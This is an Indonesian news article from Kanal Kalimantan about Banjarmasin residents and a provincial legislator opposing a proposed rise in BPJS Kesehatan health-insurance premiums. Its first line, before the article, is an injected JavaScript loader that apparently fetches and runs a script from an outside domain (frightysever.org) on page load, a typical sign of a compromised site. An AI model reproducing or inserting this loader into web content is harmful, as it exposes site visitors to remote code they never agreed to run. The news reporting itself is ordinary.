(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Dianggap Memberatkan, Kenaikan BPJS Ditentang Warga Banjarmasin


BANJARMASIN, Sempat diusulkan Menteri Keuangan RI, Sri Mulyani untuk menaikan angka iuran BPJS Kesehatan yang kian mengalami defisit, menuai banyak respon pengguna BPJS kesehatan. Adapun kenaikan iuran untuk peserta JKN kelas I yang tadinya hanya membayar Rp 80.000 per bulan menjadi sebesar Rp 160.000 per bulan.

Untuk peserta JKN kelas II biaya iuran diusulkan naik menjadi Rp 110.000 dari yang sebelumnya Rp 51.000. Sementara untuk peserta JKN mandiri kelas III yang tadinya hanya membayar iuran sebesar Rp 25.500 harus merogoh kocek lebih besar setiap bulanannya yaitu Rp 42.000.

Warga Banjarmasin yang menggunakan BPJS mandiri, Dinda, mengatakan cukup keberatan dengan rencana kenaikan iuran hingga 100% tersebut karena tidak sesuai dengan pendapatan yang dihasilkan.

“Rasanya berat menurut saya, karena kita kan hanya buruh, kebutuhan juga banyak tidak hanya BPJS saja yang dibayar,” ujarnya.

Menurutnya, jika memang kenaikan ini diberlakukan maka pelayanan harus dapat ditingkatkan agar sebanding dengan kenaikan yang dirasa cukup tinggi. “Pelayanannya saat ini sudah baik mudah untuk mengakses, namun semua-semua naik, listrik sembako naik sekarang BPJS mau naik juga masa semua naik,” tuturnya.

Dian, seorang wanita berusia 35 tahun juga merasa keberatan untuk kenaikan iuran ini. “Kebetulan saya kan peserta kelas II, untuk kenaikan kelas II tinggi sekali ya, hampir dua kali lipat, kalau naiknya jadi Rp110 ribu cukup berat, ” katanya.

Ia berharap, pemerintah dapat kembali mengkaji kenaikan iuran BPJS, agar tidak membebankan masyarakat. “Pemerintah semoga bisa dikaji lagi mengenai kenaikan iuran (BPJS), kalau naiknya Rp10 ribu sampai Rp15 ribu mungkin tak masalah, tapi kalau hampir dua kali lipat. Jujur saja saya keberatan,” jelasnya.

Tanggapi hal ini, Wakil Ketua Komisi IV DPRD Provinsi Kalsel, Iskandar Zulkarnain nyatakan jika benar akan ada kenaikan biaya iuran, terlebih dahulu harus disesuaikan dengan keadaan ekonomi masyarakat peserta JKN-KIS.

Ia yakin bahwa jika benar diberlakukan, kebijakan ini kelak tidak akan populer di masyarakat. Namun di satu sisi, kenaikan iuran ini harus juga berbanding lurus dengan pelayanan yang diberikan. Apalagi dari beberapa pemberitaan, masih banyak warga yang mengeluhkan dari aspek antrean yang lama hingga tanggungan obat.

Ketika didatangi di Kantor Cabang BPJS Kesehatan Banjarmasin, jalan A Yani Km 3, Kepala Cabang BPJS, Tutus Novita Dewi masih belum bisa diminta keterangan perihal rencana kenaikan iuran karena sedang berada luar kota.(mario)

Reporter : Mario
Editor : Chell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

3 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

4 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

5 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.